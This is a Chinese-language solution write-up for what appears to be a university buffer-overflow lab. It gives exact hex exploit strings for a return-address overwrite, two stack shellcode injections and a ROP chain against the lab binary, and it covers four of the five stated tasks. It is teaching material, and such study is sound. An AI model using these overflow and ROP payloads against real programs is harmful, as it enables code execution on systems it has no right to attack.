此实验有五个任务
第一个任务
这个任务的内容是跳转到touch1函数
void test(){
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
unsigned getbuf() {
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void touch1() {
vlevel = 1;
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
解题思路: 1.找到touch1()的起始地址、2.修改 test()调用getbuf()时 压入的返回地址为touch1()的起始地址。
步骤一:
objdump -d ctarget ctarget.d
vim ctarget.d
:/touch1
很容易找到touch1()的起始地址为:0x00000000004017c0
步骤二:
利用缓冲区溢出来来修改retq地址
vim ctarget.d
:/getbuf
可得到%rsp-28得到字符数组的首地址,0x28即40字节(40B),即BUFFER_SIZE
一个char是1B,则需要输入40个字符才能缓冲区溢出,
可以使用以下去检验
./ctarget -q
aaaa ...分别输入39和40个字符
可以知道输入40个字符时已经缓冲区溢出。
先给出答案:
弄个result.txt:
ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
c0 17 40 00 00 00 00 00
./hex2raw < result.txt | ./ctarget -q
可看到成功通过第一个任务。
原因是:函数调用时,会把返回地址压栈,再进入函数,40个f之后,缓冲区满了,接下来的输入是为了顶掉原来的返回地址(这里是小端存储),所以(0x00000000004017c0表示为 0xc017400000000000),hex2raw函数是为了生成攻击字符串,只需要我们输入我们的结果,它便自动生成相应ascii码。
第二个任务
带参数跳cookie转到touch2,
答案:
ff ff ff ff ff ff ff ff
48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3
ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
80 dc 61 55 00 00 00 00
48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
68 ec 17 40 00 pushq $0x4017ec
c3 retq
字符串首地址是0x5561dc78,这里的意思是,跳转到字符串中间,中间是我们写的代码(你需要自己写汇编语言,然后反汇编查看它的代码)。这里的意思是将cookie放入rdi,然后把返回地址压栈,接着retq跳转到压栈的地址。
第三个任务
将你的cookie转化成字符串,并带着字符串首地址跳转到touch3
答案:
48 c7 c7 a8 dc 61 55
68 fa 18 40 00
c3
ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00
第三题也是注入代码,将 cookie
的字符串的地址传入函数,注入代码和第二题类似,但是注意因为> 第三题中,后续操作会将 buf 栈中的 40 个字节覆盖了,所以不能将字符串存储中这里,改为存储在调用函数前的栈中,通过打断点得到其栈顶地址是 0x5561dca0
。所以应该把字符串存入的地址设为 0 x5561dca8
,这个地址在输入的 16 进制中就紧跟着跳转的地址。
注入的代码(已经反编译了):
48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
68 fa 18 40 00 pushq $0x4018fa
c3 retq
第四个任务
查阅文档, 48 89 c7
就是 movq %rax,%rdi
,就将栈上的值存入了 %rdi
,因此将 cookie
> 值存入栈中,就可以传值,这段代码地址是 0x4019a2
。
因此输入字符串先是一段填充的 40 字节,然后是跳转地址,设为 pop 的地址 0x4019ab
,接着存入 cookie
值(就是将要 pop 的那个值,注意应存入 64 位值),然后是 mov 的地址 0x4019a2
,> 最后跳转到 touch2
,这样一个完整的 ROP 攻击链就形成了,一个可行的答案就是:
ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00